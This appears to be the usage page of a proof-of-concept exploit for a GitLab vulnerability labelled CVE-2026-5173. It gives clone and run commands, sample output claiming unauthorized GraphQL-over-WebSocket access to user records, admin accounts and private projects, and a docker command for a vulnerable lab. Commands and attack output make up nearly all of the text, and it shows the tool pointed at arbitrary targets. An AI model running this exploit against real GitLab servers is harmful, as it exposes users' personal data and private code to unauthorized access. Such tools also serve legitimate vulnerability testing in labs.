git clone https://github.com/0xBlackash/CVE-2026-5173.git
cd CVE-2026-5173

python3 CVE-2026-5173.py http://your-gitlab-lab:8080

python3 CVE-2026-5173.py http://target.com:8080 -t glpat-XXXXXXXXXXXXXXXXXXXX

[+] CVE-2026-5173 PoC v2 - Target: http://192.168.1.100:8080
[+] WebSocket connected
[+] Subscribed to GraphqlChannel
[*] Testing method: currentUser
[SUCCESS] Possible unauthorized access via 'currentUser'!
    → Response: {"result":{"data":{"currentUser":{"id":"gid://gitlab/User/123","name":"Normal User","email":"[email protected]"}}}...

[*] Testing method: users
[SUCCESS] Possible unauthorized access via 'users'!
    → Response: {"result":{"data":{"users":{"nodes":[ {"id":"gid://gitlab/User/1","name":"Admin","email":"[email protected]"}, ... ]}}}  ← This leaks all users including admins!

[*] Testing method: projects
[SUCCESS] Possible unauthorized access via 'projects'!
    → Response: long list of ALL projects (even private ones you shouldn't see)

python3 CVE-2026-5173.py <target> [options]

Arguments:
  target                Target URL (e.g. http://gitlab.example.com:8080)
  -t, --token           GitLab Personal Access Token (API scope)
  -h, --help            Show this help message

docker run -d --name gitlab-vuln \
  -p 8080:80 -p 2222:22 \
  gitlab/gitlab-ce:18.10.2-ce.0